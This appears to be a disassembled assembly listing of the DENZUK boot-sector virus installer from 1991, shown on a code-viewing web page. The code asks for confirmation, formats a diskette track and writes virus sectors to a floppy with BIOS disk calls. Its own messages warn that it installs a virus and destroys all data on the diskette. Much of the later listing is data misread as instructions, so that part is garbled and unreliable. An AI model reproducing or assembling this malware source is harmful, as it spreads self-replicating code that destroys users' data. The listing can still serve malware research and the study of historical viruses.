📄 denzuk.asm
字号:
PAGE 59,132
;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹
;圹 圹
;圹 DENZUK 圹
;圹 圹
;圹 Created: 4-Feb-91 圹
;圹 Passes: 5 Analysis Options on: J 圹
;圹 圹
;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹
data_0001e equ 24h
data_0002e equ 26h
data_0003e equ 4Ch
data_0004e equ 4Eh
data_0005e equ 78h
data_0006e equ 1BCh
data_0007e equ 1BEh
main_ram_size_ equ 413h
keybd_flags_1_ equ 417h
video_mode_ equ 449h
warm_boot_flag_ equ 472h
data_0008e equ 4F6h
data_0009e equ 51Ch ;*
data_0010e equ 61Eh ;*
data_0011e equ 7C00h ;*
data_0012e equ 7C0Bh ;*
data_0013e equ 7C0Eh ;*
data_0014e equ 7C10h ;*
data_0015e equ 7C11h ;*
data_0016e equ 7C15h ;*
data_0017e equ 7C16h ;*
data_0018e equ 7C18h ;*
data_0019e equ 7C1Ah ;*
data_0020e equ 7C1Ch ;*
data_0021e equ 7C2Ah ;*
data_0022e equ 7C2Bh ;*
data_0023e equ 7C37h ;*
data_0024e equ 7C39h ;*
data_0025e equ 7C3Bh ;*
data_0026e equ 7C3Ch ;*
data_0027e equ 7C3Dh ;*
data_0028e equ 7C3Fh ;*
data_0029e equ 7D77h ;*
data_0030e equ 7DD6h ;*
data_0031e equ 7DE1h ;*
data_0032e equ 7DFDh ;*
data_0033e equ 0
data_0035e equ 28h
data_0036e equ 33h
data_0037e equ 5Ch
data_0157e equ 1E50h ;*
data_0158e equ 2000h ;*
data_0161e equ 2A00h ;*
data_0164e equ 7C00h ;*
data_0165e equ 7C0Bh ;*
data_0166e equ 7C15h ;*
data_0167e equ 7C18h ;*
data_0168e equ 7C1Ah ;*
data_0169e equ 7C1Eh ;*
data_0171e equ 7C2Ch ;*
data_0172e equ 7C2Eh ;*
data_0173e equ 7C30h ;*
data_0174e equ 7C31h ;*
data_0175e equ 7C32h ;*
data_0176e equ 7CC6h ;*
data_0178e equ 7E00h ;*
data_0179e equ 8002h ;*
data_0181e equ 0A82Ah ;*
data_0182e equ 0AA00h ;*
data_0183e equ 0AA02h ;*
data_0185e equ 0AA2Ah ;*
data_0186e equ 0AAAAh ;*
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
denzuk proc far
start:
mov dx,29Dh
dec byte ptr ds:data_0037e
jns loc_0002 ; Jump if not sign
jmp loc_0008
loc_0002:
mov dx,1BFh
call sub_0001
xor ah,ah ; Zero register
int 16h ; Keyboard i/o ah=function 00h
; get keybd char in al, ah=scan
and al,0DFh
cmp al,59h ; 'Y'
jne loc_ret_0009 ; Jump if not equal
mov dl,ds:data_0037e
xor ah,ah ; Zero register
int 13h ; Disk dl=drive a ah=func 00h
; reset disk, al=return status
jc loc_0007 ; Jump if carry Set
push dx
mov dx,281h
call sub_0001
pop dx
mov ax,351Eh
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov al,9
xchg al,es:[bx+4]
push es
push bx
push ax
push ds
pop es
xor dh,dh ; Zero register
mov ch,28h ; '('
mov bx,offset data_0040
mov ax,509h
int 13h ; Disk dl=drive a ah=func 05h
; format track=ch or cylindr=cx
; al=interleave, dh=head
pop ax
pop bx
pop es
jc loc_0007 ; Jump if carry Set
mov es:[bx+4],al
push ds
pop es
cld ; Clear direction
mov si,offset data_0058
jmp short loc_0004
loc_0003:
test dh,dh
jnz loc_0004 ; Jump if not zero
dec cx
jz loc_ret_0009 ; Jump if zero
loc_0004:
lea bx,[si+5] ; Load effective addr
mov bp,200h
lodsb ; String [si] to al
cmp al,0F6h
je loc_0006 ; Jump if equal
mov bx,offset data_0049
cmp al,[bx]
je loc_0005 ; Jump if equal
mov di,bx
mov cx,bp
rep stosb ; Rep when cx >0 Store al to es:[di]
loc_0005:
xor bp,bp ; Zero register
loc_0006:
lodsw ; String [si] to ax
xchg ax,cx
lodsw ; String [si] to ax
xchg ax,dx
or dl,ds:data_0037e
lea si,[bp+si] ; Load effective addr
mov ax,301h
push si
push cx
push dx
int 13h ; Disk dl=drive a ah=func 03h
; write sectors from mem es:bx
; al=#,ch=cyl,cl=sectr,dh=head
pop dx
pop cx
pop si
jnc loc_0003 ; Jump if carry=0
loc_0007:
mov dx,offset data_0048
denzuk endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_0001 proc near
loc_0008:
mov ah,9
int 21h ; DOS Services ah=function 09h
; display char string at ds:dx
loc_ret_0009:
retn
sub_0001 endp
data_0040 db 28h
db 00h, 21h, 02h, 28h, 00h, 22h
db 02h, 28h, 00h, 23h, 02h, 28h
db 00h, 24h, 02h, 28h, 00h, 25h
db 02h, 28h, 00h, 26h, 02h, 28h
db 00h, 27h, 02h, 28h, 00h, 28h
db 02h, 28h, 00h, 29h, 02h
db 0Dh
data_0041 db 0Ah, 'You are about to install a '
db 'VIRUS on your diskette!!!', 0Dh, 0Ah
db 'This will des'
data_0043 dw 7274h
data_0044 db 6Fh
data_0045 dw 2079h
db 'ALL data on the diskette!!!', 0Dh
db 0Ah, 'Inser'
data_0046 dw 2074h
db 'a formatted 360K di'
data_0047 dw 6B73h
db 'ette into the drive.', 0Dh, 0Ah, 'A'
db 're you sure you want to proceed '
db '(y/N)? $'
db 0Dh, 0Ah, 0Ah, 'Writing...$'
data_0048 db 0Dh
db 0Ah, 45h, 72h, 72h, 6Fh, 72h
db 07h, 21h, 07h, 21h, 07h
db '!$'
db 'Usage: DENZUK A: ', 0Dh, 0Ah
db '$'
data_0049 dw 167 dup (0)
data_0050 dw 0
data_0051 db 0
data_0052 dw 0, 0
data_0054 dw 0, 0
db 82 dup (0)
data_0056 dd 00000h
data_0057 dd 00000h
db 77 dup (0)
data_0058 db 0F6h
db 29h, 28h, 00h, 00h,0FFh
locloop_0011:
loop locloop_0011 ; Loop if cx > 0
pop di
pop si
pop es
pop ds
pop dx
pop cx
pop ax
popf ; Pop flags
retn
db 8Dh, 36h,0D1h, 07h
db 0BFh, 90h, 0Bh,0B9h, 00h, 05h
db 0F3h,0A4h
db 8Dh, 36h,0D1h, 0Ch
db 0BFh, 40h, 2Bh,0B9h, 00h, 05h
db 0F3h,0A4h,0C3h, 51h,0FCh, 32h
db 0D2h,0BEh, 10h, 00h
loc_0012:
mov cx,28h
locloop_0013:
mov ax,es:[di]
xchg al,ah
ror ax,1 ; Rotate
ror ax,1 ; Rotate
mov dh,ah
and dh,0C0h
and ah,3Fh ; '?'
or ah,dl
mov dl,dh
xchg al,ah
stosw ; Store ax to es:[di]
loop locloop_0013 ; Loop if cx > 0
dec si
jnz loc_0012 ; Jump if not zero
pop cx
retn
db 51h,0FDh, 32h,0D2h
db 0BEh, 10h, 00h
loc_0014:
mov cx,28h
locloop_0015:
mov ax,es:[di]
xchg al,ah
rol ax,1 ; Rotate
rol ax,1 ; Rotate
mov dh,al
and dh,3
and al,0FCh
or al,dl
mov dl,dh
xchg al,ah
stosw ; Store ax to es:[di]
loop locloop_0015 ; Loop if cx > 0
dec si
jnz loc_0014 ; Jump if not zero
pop cx
cld ; Clear direction
retn
data_0066 db 'WS EXE ', 0
db 9 dup (0)
db 52h,0B1h, 3Bh, 12h, 02h, 00h
db 00h, 5Eh, 02h, 00h
db 'WSHELP OVR!'
db 0
db 9 dup (0)
db 03h, 88h, 12h, 11h, 41h, 01h
db 0A0h, 9Dh, 00h, 00h
db 'WSSPELL OVR!'
db 0
db 9 dup (0)
db 03h, 88h, 12h, 11h, 9Fh, 00h
db 80h, 80h, 00h, 00h, 59h,0F9h
db 43h,0F9h, 31h,0F9h, 45h,0F9h
db 52h,0F9h, 50h, 29h, 00h
db 9 dup (0)
db 0A0h,0B2h, 46h, 12h, 00h, 00h
db 00h, 00h, 00h, 00h
db 'WSMSGS OVR!'
db 0
db 9 dup (0)
db 03h, 88h, 12h, 11h,0C0h, 00h
db 62h, 53h, 00h, 00h
db 'PREVIEW OVR!'
db 0
db 9 dup (0)
db 03h, 88h, 0Fh, 11h, 16h, 01h
db 10h,0ABh, 00h, 00h
db 'PREVIEW MSG!'
db 0
db 9 dup (0)
db 03h, 88h, 0Fh, 11h,0D5h, 00h
db 00h, 22h, 00h, 00h
db 'DRAFT PDF!'
db 0
db 9 dup (0)
db 03h, 88h, 12h, 11h,0DEh, 00h
db 0AAh, 03h, 00h, 00h
db 'WSSHORT OVR!'
db 0
db 9 dup (0)
db 03h, 88h, 12h, 11h,0DFh, 00h
db 00h, 02h, 00h, 00h
db 'WS4 PDF!'
db 0
db 9 dup (0)
db 03h, 88h, 12h, 11h,0E0h, 00h
db 0ABh, 01h, 00h, 00h
db 'CONFIG SYS!'
db 0
db 9 dup (0)
db 11h,0A3h, 39h, 12h,0E1h, 00h
locloop_0017:
or ax,[bx+si]
add [bx+si],al
inc cx
push bp
push sp
dec di
inc bp
pop ax
inc bp
inc bx
inc dx
inc cx
push sp
and [bx+si],ax
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],ah
mov word ptr ds:[1239h],ax
loop locloop_0018 ; Loop if cx > 0
locloop_0018:
or [bx+si],ax
add [bx+si],al
push di
push bx
dec ax
pop cx
push ax
dec ax
and [bx+si],ah
dec di
imul byte ptr [bx+si] ; ax = data * al
sub [bx+si],al
add [bx+si],al
add [bx+si],al
stosb ; Store al to es:[di]
test al,0
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
sub ch,[bp+si+0]
nop ;*ASM fixup - displacement
nop ;*ASM fixup - sign extn byte
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
add [bx+si],al
add [bp+si],al
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add [bx+si],al
add [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
add [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
add [bp+si],al
stosb ; Store al to es:[di]
mov al,ds:data_0183e
test al,0
add [bp+si],ch
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
stosb ; Store al to es:[di]
test al,0
add [bx+si],al
or ch,[bp+si+0A0h]
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
sub ch,[bp+si+0]
nop ;*ASM fixup - displacement
nop ;*ASM fixup - sign extn byte
add ch,[bp+si-5556h]
add byte ptr [bx+si],0
add [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
mov al,ds:data_0033e
add [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
add [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
add [bp+si],al
stosb ; Store al to es:[di]
mov al,ds:data_0182e
stosb ; Store al to es:[di]
add [bx+si],al
or ch,[bp+si+0A8h]
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bp+si+0A8h],ch
add [bp+si],al
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
add [bx+si],al
add [bp+si],cl
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
add [bx+si],al
add [bp+si-7F56h],ch
add [bx+si],al
add [bx+si],al
add [bp+si],ch
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
add [bp+si],al
stosb ; Store al to es:[di]
mov al,ds:data_0161e
stosb ; Store al to es:[di]
add byte ptr [bx+si],0
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
stosb ; Store al to es:[di]
test al,0
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
stosb ; Store al to es:[di]
test al,0
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -